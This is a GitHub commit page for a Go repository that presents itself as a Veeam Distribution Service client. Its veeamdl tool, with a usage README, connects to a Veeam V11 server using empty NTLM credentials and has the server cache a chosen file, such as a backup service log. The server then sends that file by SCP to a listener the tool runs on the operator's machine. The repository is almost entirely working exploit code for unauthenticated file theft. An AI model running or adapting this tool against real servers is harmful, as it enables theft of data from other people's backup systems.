Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
gboddin committed Apr 13, 2022
0 parents commit 7fe43b2
Show file tree
Hide file tree
Showing 14 changed files with 653 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.idea
17 changes: 17 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
# Veeam Distribution Service Golang Client

This library provides a `net.Conn` abstraction to a Veeam compressed connection trough NNS.

```golang
ntlmsspClient, err := ntlmssp.NewClient(ntlmssp.SetCompatibilityLevel(1), ntlmssp.SetUserInfo("", ""))
if err != nil {
return nil, err
}
nnsConn, err := nns.DialNTLMSSP(addr, ntlmsspClient, 5*time.Second)
if err != nil {
return nil, err
}
conn := veeam.WrapConnection(nnsConn)
```

An example to download files can be found in [cmd/veeamdl](cmd/veeamdl)
12 changes: 12 additions & 0 deletions cmd/veeamdl/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
# veeamdl

Downloads a file from a Veeam V11 server.


```sh
./veeamdl 192.168.0.10:9380 'C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log' 192.168.0.11
```

- 192.168.0.10 is Veeam IP
- 'C:\ProgramData\Veeam\Backup\Svc.VeeamBackup.log' is the file to download
- 192.168.0.11 is your IP ( port 2222 must be open )
33 changes: 33 additions & 0 deletions cmd/veeamdl/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
package main

import (
"github.com/LeakIX/veeam-ds-client/cmd/veeamdl/scp_server"
"github.com/LeakIX/veeam-ds-client/v11"
"log"
"os"
"time"
)

func main() {
if len(os.Args) < 4 {
log.Fatalln("./veeamdl <target> <filename> <self-ip>")
}
target, filename, self := os.Args[1], os.Args[2], os.Args[3]
go scp_server.StartScpServer()
time.Sleep(1 * time.Second)
log.Println("Preparing file for download")
err := v11.CacheFile(target, filename)
if err == v11.IsVeeam10Err {
log.Fatalln("Found Veeam version v10")
}
if err != nil {
log.Fatalln(err)
}
log.Println("Prepared file for download, requesting file")
err = v11.DownloadFileSSH(target, filename, self)

if err != nil {
log.Fatalln(err)
}
log.Println("Done")
}
55 changes: 55 additions & 0 deletions cmd/veeamdl/scp_server/scp_server.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
package scp_server

import (
"bufio"
"github.com/gliderlabs/ssh"
"io"
"log"
"os"
"strconv"
"strings"
)

func StartScpServer() {
ssh.Handle(func(s ssh.Session) {
log.Println("Received remoted connection")
if len(s.Command()) < 1 || s.Command()[0] != "scp" || s.Subsystem() != "" {
s.Close()
return
}
s.Write([]byte{0x00})
bufreader := bufio.NewReader(s)
cmdLine, err := bufreader.ReadString('\n')
if err != nil {
return
}
cmdParts := strings.Split(cmdLine, " ")
if len(cmdParts) != 3 {
log.Println("didn't receive a valid copy command")
return
}
cmd, filename := cmdParts[0], strings.TrimRight(cmdParts[2], "\n")
if cmd != "C0644" {
log.Println("Didn't receive c0644 command")
return
}
size, err := strconv.Atoi(cmdParts[1])
if err != nil {
log.Println("Didn't receive valid size: " + err.Error())
return
}
if size < 1 {
log.Println("Didn't receive valid size")
return
}
log.Printf("Receiving file '%s' of size %d", filename, size)
s.Write([]byte{0x00})
_, err = io.CopyN(os.Stdout, s, int64(size))
if err != nil {
log.Println("Didn't receive file correctly: " + err.Error())
return
}
s.Write([]byte{0x00})
})
log.Fatal(ssh.ListenAndServe(":2222", nil))
}
13 changes: 13 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
module github.com/LeakIX/veeam-ds-client

go 1.18

require (
github.com/LeakIX/nns v0.0.0-20220413180137-d267b0011270 // indirect
github.com/LeakIX/ntlmssp v0.0.0-20220413175023-f070839d32c6 // indirect
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be // indirect
github.com/gliderlabs/ssh v0.3.3 // indirect
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e // indirect
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
golang.org/x/text v0.3.3 // indirect
)
32 changes: 32 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
github.com/LeakIX/nns v0.0.0-20220413180137-d267b0011270 h1:dzquSuEd+845aiAUcZWgpqrdKwPELlqbxv52QyJKJ/c=
github.com/LeakIX/nns v0.0.0-20220413180137-d267b0011270/go.mod h1:MpPjVW1vinLfj/CvMFemB+yKjUG3iA81Ai9HwWZx+as=
github.com/LeakIX/ntlmssp v0.0.0-20220413175023-f070839d32c6 h1:SYX3BMmr6uVc7g9R3thVHc+mRg+N/TBld0gOCJho1pg=
github.com/LeakIX/ntlmssp v0.0.0-20220413175023-f070839d32c6/go.mod h1:S01xt7qS/BNB6cAu/EnocdjlQYZXnHr4pcdMyO7OZAs=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gliderlabs/ssh v0.3.3 h1:mBQ8NiOgDkINJrZtoizkC3nDNYgSaWtxyem6S2XHBtA=
github.com/gliderlabs/ssh v0.3.3/go.mod h1:ZSS+CUoKHDrqVakTfTWUlKSr9MtMFkC4UvtQKD7O914=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/tidwall/transform v0.0.0-20170512230743-9b12a70c77d3/go.mod h1:MvrEmduDUz4ST5pGZ7CABCnOU5f3ZiOAZzT6b1A6nX8=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI=
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
40 changes: 40 additions & 0 deletions v10/veeam_remote_upload.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
package v10

import (
"encoding/xml"
"github.com/LeakIX/nns"
"github.com/LeakIX/ntlmssp"
vdsclient "github.com/LeakIX/veeam-ds-client"
"net"
"time"
)

func GetConnection(network, addr string) (net.Conn, error) {
ntlmsspClient, err := ntlmssp.NewClient(ntlmssp.SetCompatibilityLevel(1), ntlmssp.SetUserInfo("", ""))
if err != nil {
return nil, err
}
nnsConn, err := nns.DialNTLMSSP(addr, ntlmsspClient, 5*time.Second)
if err != nil {
return nil, err
}
conn := vdsclient.WrapConnection(nnsConn)
conn.SetReadDeadline(time.Now().Add(30 * time.Second))
conn.SetWriteDeadline(time.Now().Add(30 * time.Second))
return conn, nil
}

func SendRequest(addr string, input interface{}, output interface{}) error {
conn, err := GetConnection("tcp", addr)
if err != nil {
return err
}
defer conn.Close()
xmlEncoder := xml.NewEncoder(conn)
xmlDecoder := xml.NewDecoder(conn)
err = xmlEncoder.Encode(input)
if err != nil {
return err
}
return xmlDecoder.Decode(output)
}
35 changes: 35 additions & 0 deletions v10/veeam_replies.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
package v10

import "encoding/xml"

type CacheReply struct {
Reply
IsFileInCache bool `xml:"IsFileInCache,attr"`
}

type UploadReply struct {
Reply
RemotePath string `xml:"RemotePath,attr"`
}

type Reply struct {
XMLName xml.Name `xml:"EpCmResponse"`
Exception string `xml:"Exception,attr"`
PlainException PlainException `xml:"PlainException"`
PersistentConnection bool `xml:"PersistentConnection,attr"`
}

type PlainException struct {
XMLName xml.Name `xml:"PlainException"`
KeyValue []KeyValue `xml:"KeyValue,allowempty"`
}

type KeyValue struct {
XMLName xml.Name `xml:"KeyValue"`
Key string `xml:"Key,attr"`
Value string `xml:"Value,attr"`
}

func (vr *Reply) HasExceptions() bool {
return len(vr.Exception) > 0
}
76 changes: 76 additions & 0 deletions v10/veeam_requests.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
package v10

import (
"encoding/xml"
"time"
)

type CacheRequest struct {
RequestSpec
FilePath string `xml:"FilePath,attr"`
}

type UploadRequest struct {
RequestSpec
SystemType string `xml:"SystemType,attr"`
Host string `xml:"Host,attr"`
User string `xml:"User,attr"`
Password string `xml:"Password,attr"`
TaskType string `xml:"TaskType,attr"`
FixProductType string `xml:"FixProductType,attr"`
FixProductVeresion string `xml:"FixProductVeresion,attr"`
FixIssueNumber int `xml:"FixIssueNumber,attr"`
SshCredentials string `xml:"SshCredentials,attr"`
SshFingerprint string `xml:"SshFingerprint,attr"`
SshTrustAll bool `xml:"SshTrustAll,attr"`
IsWindows bool `xml:"IsWindows,attr"`
IsFix bool `xml:"IsFix,attr"`
CheckSignatureBeforeUpload bool `xml:"CheckSignatureBeforeUpload,attr"`
DefaultProtocol int `xml:"DefaultProtocol,attr"`
FileRelativePath string `xml:"FileRelativePath,attr"`
FileProxyPath string `xml:"FileProxyPath,attr"`
FileRemotePath string `xml:"FileRemotePath,attr"`
FilePath string `xml:"FilePath,attr"`
HostIps HostIps `xml:"HostIps"`
}
type HostIps struct {
String []String `xml:"String"`
}
type String struct {
Value string `xml:"Value,attr"`
}

type RequestSpec struct {
XMLName xml.Name `xml:"EpCmMessage"`
EpCmScopeData int `xml:"EpCmScopeData,attr"`
}

type AgentIdentifier struct {
BiosUuid string `xml:"BiosUuid,attr"`
CertificateThumbprint string `xml:"CertificateThumbprint,attr"`
}
type LicenseInfo struct {
Mode uint32 `xml:"Mode,attr"`
ExpirationDate time.Time `xml:"ExpirationDate,attr"`
SupportExpirationDate time.Time `xml:"SupportExpirationDate,attr"`
Support bool `xml:"Support,attr"`
Workstations uint32 `xml:"Workstations,attr"`
Servers uint32 `xml:"Servers,attr"`
ContactName string `xml:"ContactName,attr"`
ContactMail string `xml:"ContactMail,attr"`
ProductVersion string `xml:"ProductVersion,attr"`
}

type SendAgentLicenseInfo struct {
RequestSpec
AgentIdentifier AgentIdentifier `xml:"AgentIdentifier"`
LicenseInfo LicenseInfo `xml:"LicenseInfo"`
}

type ConfigurationServiceInitialize struct {
RequestSpec
DbConfig string `xml:"DbConfig,attr"`
VbrServerName string `xml:"VbrServerName,attr"`
ForeignInvokerNegotiateProxyPort uint32 `xml:"ForeignInvokerNegotiateProxyPort,attr"`
ForeignInvokerSslProxyPort uint32 `xml:"ForeignInvokerSslProxyPort,attr"`
}
Loading

0 comments on commit 7fe43b2

Please sign in to comment.